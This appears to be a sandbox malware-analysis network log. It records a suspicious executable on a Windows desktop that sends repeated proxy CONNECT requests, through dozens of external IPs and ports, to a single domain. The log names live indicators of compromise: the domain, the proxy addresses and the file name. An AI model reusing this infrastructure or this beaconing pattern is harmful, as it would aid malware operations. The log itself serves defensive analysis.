Mar 11, 2024 16:42:21.998277903 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
747	192.168.2.11	52594	43.153.58.204	443	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.999679089 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
748	192.168.2.11	52540	45.61.188.134	44499	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.001487970 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.641813993 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.427866936 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
749	192.168.2.11	52600	43.153.58.204	443	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.004933119 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
750	192.168.2.11	52608	43.153.58.204	443	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.007318020 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
751	192.168.2.11	52553	45.60.186.208	27488	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.009278059 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
752	192.168.2.11	52443	156.67.217.159	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.012166977 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.344814062 CET	327	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Mar 2024 15:42:22 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
753	192.168.2.11	52615	43.153.58.204	443	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.012854099 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
754	192.168.2.11	52432	103.200.135.229	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.014070034 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
755	192.168.2.11	51653	198.57.229.185	64767	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.017592907 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.032623053 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:28.058826923 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:34.142409086 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:46.141828060 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:58.172846079 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:10.172856092 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:34.172785997 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
756	192.168.2.11	52510	31.223.184.143	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.018372059 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:36.564888000 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:36 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
757	192.168.2.11	52557	98.178.72.21	10919	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.053018093 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
758	192.168.2.11	52493	210.72.11.46	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.053286076 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.876292944 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.607858896 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
759	192.168.2.11	52470	61.178.152.31	7302	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.056812048 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.415484905 CET	90	IN	HTTP/1.1 200 OK Content-Type: application/json Connection: close Content-Length: 55

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
760	192.168.2.11	52502	147.75.34.86	10007	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.059669018 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com
Mar 11, 2024 16:42:22.360994101 CET	65	IN	HTTP/1.1 200 Connection Established Proxy-Agent: Zscaler/6.3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
761	192.168.2.11	52520	5.61.33.234	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.062968969 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
762	192.168.2.11	52514	195.177.217.131	58053	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.116228104 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.876291037 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.876633883 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
763	192.168.2.11	52494	222.220.102.159	8000	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.125189066 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.773883104 CET	59	IN	HTTP/1.1 200 Connection Established Proxy-agent: nginx

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
764	192.168.2.11	51673	142.4.7.20	10722	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.125376940 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.141987085 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:28.236016989 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:34.329416037 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:46.329178095 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:58.485347033 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:10.485312939 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:34.485318899 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:44:22.594558001 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
765	192.168.2.11	52484	183.215.23.242	9091	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.126256943 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.526261091 CET	325	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.1 Date: Mon, 11 Mar 2024 15:42:23 GMT Content-Type: text/html Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
766	192.168.2.11	50392	132.148.167.231	46983	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.128010988 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.141983032 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:28.236042023 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:34.329415083 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
767	192.168.2.11	52577	162.240.72.139	20614	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.128051996 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.688735008 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.376518965 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:24.487458944 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:26.689291954 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:28.985961914 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:31.188780069 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:35.689212084 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:44.391675949 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
768	192.168.2.11	51610	51.161.131.84	63055	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.145315886 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:26.991440058 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
